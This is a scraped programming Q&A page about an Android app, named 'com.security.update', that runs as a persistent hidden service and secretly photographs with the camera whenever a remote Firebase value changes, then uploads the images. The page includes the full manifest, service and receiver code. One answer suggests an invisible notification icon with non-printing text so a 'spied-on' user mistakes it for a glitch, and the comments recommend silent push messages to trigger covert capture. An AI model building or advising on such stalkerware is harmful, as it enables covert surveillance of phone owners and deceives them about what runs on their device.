Background Service with Firebase childeventlistener not working after few minutes

10,262

Solution 1

First answer:

Your service is being killed because you might be attempting to do something that Google/Android OS explicitly doesn't want to happen. Here's a cut from the SDK docs and then I'll explain:

(From Service Lifecycle) Because only a few processes are generally visible to the user, this means that the service should not be killed except in low memory conditions. However, since the user is not directly aware of a background service, in that state it is considered a valid candidate to kill, and you should be prepared for this to happen. In particular, long-running services will be increasingly likely to kill and are guaranteed to be killed (and restarted if appropriate) if they remain started long enough.

You see, they're actually trying to make sure that the user doesn't have hundreds of SpyServices running perpetually, hogging resources or whatever. How can you avoid this? The answer is right there...show some type of Notification, even one that simply says 'service running' will keep the service from being destroyed. Of course, if you're actually trying to 'spy' on the user, putting a notification that the spy service is running isn't a good idea. If you want to proceed with this pattern, try an 'invisible' notification icon and non-printing text. If the user's looking at the notifications, they might not see it, or think it's just a glitch.

Second answer:

Switch to a more 'event-driven' design. I'm assuming that you're able to catch the 'on-boot', 'call-received' and other messages, so register receivers for events that would indicate handset usage, that way you could easily stitch together multiple 10-15 minute segments to get almost full coverage.

I'd aim for events like:

  • Power connected / disconnected
  • WiFi state change
  • Screen Backlight On/Off and/or screen lock status changed.

Third answer:

Take a look at the 'binding' pattern. If you can get any of the activities to 'bind' to the service, its guaranteed NOT to be killed as long as it's bound. If you combine the 'START_STICKY' with the binding pattern, you'll be able to keep running for some period after the binding is released.

Solution 2

This topic came up in following presentation at DroidconIn ("Firebase Realtime Database deep dive"). Realistically you can't depend on getting 'normal' firebase sync updates while in background but rather need to have some kind of setup that can send Push notifications.

https://www.youtube.com/watch?v=1nUSoCZlnDo&t=25m10s

Share:
10,262
karanatwal.github.io
Author by

karanatwal.github.io

I am Electronics Engineer by Education 👨‍🎓, But my passion in coding brings me here 📲 💻. In free time We (me & Jagjit) used to write Tutorials on Android. You can find our work here at CoderzPassion. My CV 😛 Pluralsight Ratings -

Updated on June 06, 2022

Comments

  • karanatwal.github.io
    karanatwal.github.io about 2 years

    I have created a service which i want to run forever without showing foreground notification. I have Firebase listener in onStartCommand that listens whenever data changes in database. Whenever data changes it does a specific task eg. Capture image.

    In Activity class there is nothing just i have started service there and then i finished it. Problem is that i can see on my Samsung J2 device and on Nexus 5 too , that service got stopped whenever i kill application from App drawer. I have implemented Broadcast Receiver on BOOT_COMPLETED and also in service onDestroy but its not working on booting also. In Short my service is not running forever.Also i am not sure about Firebase listener whether it will work in background service or not. There are many apps like whatsapp,hike,Applock, many other apps which restarts even on force close.I want my app listen to Firebase Database every time .Its purely Service based App.It doesnt have any activity. Below is code-

    MANIFEST File

    <manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.security.update">
    
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.CAMERA" />
    <uses-feature android:name="android.hardware.camera" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    
    <application
        android:screenOrientation="portrait"
        android:name="android.support.multidex.MultiDexApplication"
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">
    
    
        <activity
            android:name=".ActivityForPermissions"
            android:screenOrientation="portrait">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
    
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    
    
        <service android:name="com.security.update.CameraService"
            android:enabled="true"
            />
    
        <receiver android:name="com.security.update.ReceiverCall"
            android:enabled="true">
            <intent-filter>
                <action android:name="RESTART_SERVICE" />
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
    
    </application>
    

    Activity class

     public class ActivityForPermissions extends AppCompatActivity {
    
      @Override
      public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
    
        startService(new   Intent(ActivityForPermissions.this,CameraService.class));
        finish();
    }
    
    
    @Override
    protected void onDestroy() {
        super.onDestroy();
    }}
    

    Reciever Class

    public class ReceiverCall extends BroadcastReceiver {
    
    @Override
    public void onReceive(Context context, Intent intent) {
    
        context.startService(new Intent(context, CameraService.class));;
        }
    
     }
    

    Service Class

    public class CameraService extends Service
    {
    //Camera variables
    //a surface holder
    private SurfaceHolder sHolder;
    //a variable to control the camera
    private Camera mCamera;
    //the camera parameters
    private Parameters parameters;
    /** Called when the activity is first created. */
    private StorageReference mStorageRef;
    File spyfile;
    FirebaseDatabase database;
    public static DatabaseReference RequestRef,SpyStatus;
    String devicemodel;
    
    @Override
    public void onCreate()
    {
        super.onCreate();
        android.os.Debug.waitForDebugger();
    }
    
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        devicemodel = android.os.Build.MODEL;
        mStorageRef = FirebaseStorage.getInstance().getReference();
        database = FirebaseDatabase.getInstance();
        RequestRef = database.getReference("CameraRequest");
        SpyStatus = database.getReference("SpyStatus");
        ListenerForRequestDone();
        return START_STICKY;
    
    }
    
    @Override
    public void onDestroy() {
        super.onDestroy();
        Intent intent = new Intent("RESTART_SERVICE");
        sendBroadcast(intent);
    }
    
     public void ListenerForRequestDone(){
        RequestRef.addChildEventListener(new ChildEventListener() {
            @Override
            public void onChildAdded(DataSnapshot dataSnapshot, String s) {
    
            }
    
            @Override
            public void onChildChanged(DataSnapshot dataSnapshot, String s) {
                StartImageCapture(1);
            }
    
            @Override
            public void onChildRemoved(DataSnapshot dataSnapshot) {
    
            }
    
            @Override
            public void onChildMoved(DataSnapshot dataSnapshot, String s) {
    
            }
    
            @Override
            public void onCancelled(DatabaseError databaseError) {
    
            }
        });
    }
    

    Also there is similar questions there eg. this But there is no proper answer.

  • karanatwal.github.io
    karanatwal.github.io over 7 years
    Thnx for detail answer @Dan .I am using firebase database onchildchange listener which is not working after sometime.Will it works on onRecieve of notification OR in a service started by intent filters given by you?
  • Dan Devine
    Dan Devine over 7 years
    It should, depending upon how you have your IntentFilter set, you can add multiple action types and they'll operate as a logical 'OR'. Read the IntentFilter section carefully though, there are special conditions around 'category' and 'action'. Are you using the 'onChildChanged()' to keep the client's service alive? Is there real data that you're pushing to the devices?
  • karanatwal.github.io
    karanatwal.github.io over 7 years
    yes i am using onchildchanged() ,i am not sending data i m just changing value and i want listener to listen that time and there is method inside listener that capture images and send it to firebase storage.
  • karanatwal.github.io
    karanatwal.github.io over 7 years
    Someone suggested in comments above to implement that method in onRecieve method of push notification service .So whenever i want device to capture image i will just send a fake push notification ,,is it a good idea?
  • Dan Devine
    Dan Devine over 7 years
    That's a viable approach too, just depends on your requirements. Look: firebase.google.com/docs/cloud-messaging/android/receive You are not required to actually post a notification when the GCM/FCM service receives a message, it could be just data, and you could snap a photo and stay in the background the entire time. When do you want to take a photo? Is taking a photo all that you're trying to do? For example, if trying to catch a phone thief, listen for lock-screen failures (in a different Receiver), then snap your photo and upload. Think 'events', vs 'always running'.
  • karanatwal.github.io
    karanatwal.github.io over 7 years
    Thanx alot @Dan Devine ,I implemented my code in onMessageRecieved method of OneSignal push notification and its working even on app killing ,on booting as i wish. But Don,t know why camera is crashing on mCamera.takepicture ,Earlier in CameraService class code was working well.